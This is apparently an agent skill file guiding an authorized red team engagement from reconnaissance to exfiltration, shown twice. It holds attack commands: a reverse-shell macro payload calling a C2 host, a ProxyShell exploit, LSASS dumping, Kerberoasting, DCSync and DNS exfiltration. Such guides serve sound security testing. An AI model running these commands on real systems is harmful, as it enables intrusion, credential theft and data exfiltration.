Conducting Full-Scope Red Team Engagement
Overview
A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
When to Use
- When conducting security assessments that involve conducting full scope red team engagement
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Written authorization (Rules of Engagement document) signed by executive leadership
- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws
Engagement Phases
Phase 1: Planning and Threat Modeling
Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
| Kill Chain Phase |
MITRE ATT&CK Tactic |
Example Techniques |
| Reconnaissance |
TA0043 |
T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |
| Resource Development |
TA0042 |
T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |
| Initial Access |
TA0001 |
T1566.001 Spearphishing Attachment, T1078 Valid Accounts |
| Execution |
TA0002 |
T1059.001 PowerShell, T1204.002 User Execution: Malicious File |
| Persistence |
TA0003 |
T1053.005 Scheduled Task, T1547.001 Registry Run Keys |
| Privilege Escalation |
TA0004 |
T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |
| Defense Evasion |
TA0005 |
T1055 Process Injection, T1027 Obfuscated Files |
| Credential Access |
TA0006 |
T1003.001 LSASS Memory, T1558.003 Kerberoasting |
| Discovery |
TA0007 |
T1087 Account Discovery, T1018 Remote System Discovery |
| Lateral Movement |
TA0008 |
T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |
| Collection |
TA0009 |
T1560 Archive Collected Data, T1213 Data from Information Repositories |
| Exfiltration |
TA0010 |
T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |
| Impact |
TA0040 |
T1486 Data Encrypted for Impact, T1489 Service Stop |
Phase 2: Reconnaissance (OSINT)
# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt
# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json
# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv
Phase 3: Initial Access
Common initial access vectors for red team engagements:
Spearphishing (T1566.001):
# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json
External Service Exploitation (T1190):
# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
Phase 4: Post-Exploitation and Lateral Movement
# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com
Phase 5: Objective Achievement
Define and pursue specific objectives:
- Domain Dominance: Achieve Domain Admin access and DCSync credentials
- Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
- Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
- Physical Access: Badge cloning, tailgating, server room access
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
Phase 6: Reporting and Debrief
The report should include:
- Executive Summary: Business impact, risk rating, key findings
- Attack Narrative: Timeline of activities with screenshots and evidence
- MITRE ATT&CK Mapping: Full heat map of techniques used
- Findings: Each finding with CVSS score, evidence, remediation
- Detection Gap Analysis: What the SOC detected vs. what was missed
- Purple Team Recommendations: Specific detection rules for gaps identified
Metrics and KPIs
| Metric |
Description |
| Mean Time to Detect (MTTD) |
Average time from action to SOC detection |
| Mean Time to Respond (MTTR) |
Average time from detection to containment |
| TTP Coverage |
Percentage of executed techniques detected |
| Objective Achievement Rate |
Percentage of defined objectives completed |
| Dwell Time |
Total time red team maintained access undetected |
Tools and Frameworks
- C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
- Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
- Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
- Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
- Reporting: PlexTrac, Ghostwriter, Serpico
References
Source: mukul975/Anthropic-Cybersecurity-Skills → skills/conducting-full-scope-red-team-engagement/SKILL.md
1---2name: conducting-full-scope-red-team-engagement3description: Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.4---5
6
7# Conducting Full-Scope Red Team Engagement
8
9## Overview
10
11A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
12
13
14## When to Use
15
16- When conducting security assessments that involve conducting full scope red team engagement
17- When following incident response procedures for related security events
18- When performing scheduled security testing or auditing activities
19- When validating security controls through hands-on testing
20
21## Prerequisites
22
23- Written authorization (Rules of Engagement document) signed by executive leadership
24- Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
25- Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
26- Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
27- Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws
28
29## Engagement Phases
30
31### Phase 1: Planning and Threat Modeling
32
33Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
34
35| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |
36|---|---|---|
37| Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |
38| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |
39| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |
40| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |
41| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |
42| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |
43| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |
44| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |
45| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |
46| Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |
47| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |
48| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |
49| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |
50
51### Phase 2: Reconnaissance (OSINT)
52
53```bash
54# Passive DNS enumeration
55amass enum -passive -d target.com -o amass_passive.txt
56
57# Certificate transparency log search
58python3 -c "
59import requests
60url = 'https://crt.sh/?q=%.target.com&output=json'
61r = requests.get(url)
62for cert in r.json():
63 print(cert['name_value'])
64" | sort -u > subdomains.txt
65
66# LinkedIn employee enumeration
67theHarvester -d target.com -b linkedin -l 500 -f harvest_results
68
69# Technology fingerprinting
70whatweb -v target.com --log-json=whatweb.json
71
72# Breach data credential search (authorized)
73h8mail -t target.com -o h8mail_results.csv
74```
75
76### Phase 3: Initial Access
77
78Common initial access vectors for red team engagements:
79
80**Spearphishing (T1566.001):**
81```bash
82# Generate payload with macro
83msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
84
85# Set up GoPhish campaign
86# Configure SMTP profile, email template with pretexted lure, and landing page
87gophish --config config.json
88```
89
90**External Service Exploitation (T1190):**
91```bash
92# Scan for vulnerable services
93nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
94
95# Exploit known CVE (example: ProxyShell CVE-2021-34473)
96python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
97```
98
99### Phase 4: Post-Exploitation and Lateral Movement
100
101```powershell
102# Situational awareness (T1082, T1016)
103whoami /all
104systeminfo
105ipconfig /all
106net group "Domain Admins" /domain
107nltest /dclist:target.com
108
109# Credential harvesting from LSASS (T1003.001)
110# Using Havoc C2 built-in module
111dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
112
113# Kerberoasting (T1558.003)
114Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
115
116# Lateral movement via WMI (T1047)
117wmiexec.py domain/user:password@target-dc -c "whoami"
118
119# Lateral movement via PsExec (T1021.002)
120psexec.py domain/admin:password@fileserver.target.com
121```
122
123### Phase 5: Objective Achievement
124
125Define and pursue specific objectives:
126
1271. **Domain Dominance**: Achieve Domain Admin access and DCSync credentials
1282. **Data Exfiltration**: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
1293. **Business Impact Simulation**: Demonstrate ransomware deployment capability (without execution)
1304. **Physical Access**: Badge cloning, tailgating, server room access
131
132```bash
133# DCSync attack (T1003.006)
134secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
135
136# Exfiltration over DNS (T1048.003)
137dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
138```
139
140### Phase 6: Reporting and Debrief
141
142The report should include:
143
1441. **Executive Summary**: Business impact, risk rating, key findings
1452. **Attack Narrative**: Timeline of activities with screenshots and evidence
1463. **MITRE ATT&CK Mapping**: Full heat map of techniques used
1474. **Findings**: Each finding with CVSS score, evidence, remediation
1485. **Detection Gap Analysis**: What the SOC detected vs. what was missed
1496. **Purple Team Recommendations**: Specific detection rules for gaps identified
150
151## Metrics and KPIs
152
153| Metric | Description |
154|---|---|
155| Mean Time to Detect (MTTD) | Average time from action to SOC detection |
156| Mean Time to Respond (MTTR) | Average time from detection to containment |
157| TTP Coverage | Percentage of executed techniques detected |
158| Objective Achievement Rate | Percentage of defined objectives completed |
159| Dwell Time | Total time red team maintained access undetected |
160
161## Tools and Frameworks
162
163- **C2 Frameworks**: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
164- **Reconnaissance**: Amass, Recon-ng, theHarvester, SpiderFoot
165- **Exploitation**: Metasploit, Impacket, CrackMapExec, Rubeus
166- **Post-Exploitation**: Mimikatz, SharpCollection, BOF.NET
167- **Reporting**: PlexTrac, Ghostwriter, Serpico
168
169## References
170
171- MITRE ATT&CK Framework: https://attack.mitre.org/
172- Red Team Guide: https://redteam.guide/
173- PTES (Penetration Testing Execution Standard): http://www.pentest-standard.org/
174- TIBER-EU Framework for Red Teaming: https://www.ecb.europa.eu/paym/cyber-resilience/tiber-eu/
175- CBEST Intelligence-Led Testing: https://www.bankofengland.co.uk/financial-stability/financial-sector-continuity
176
177---
178
179**Source:** [`mukul975/Anthropic-Cybersecurity-Skills`](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) → `skills/conducting-full-scope-red-team-engagement/SKILL.md`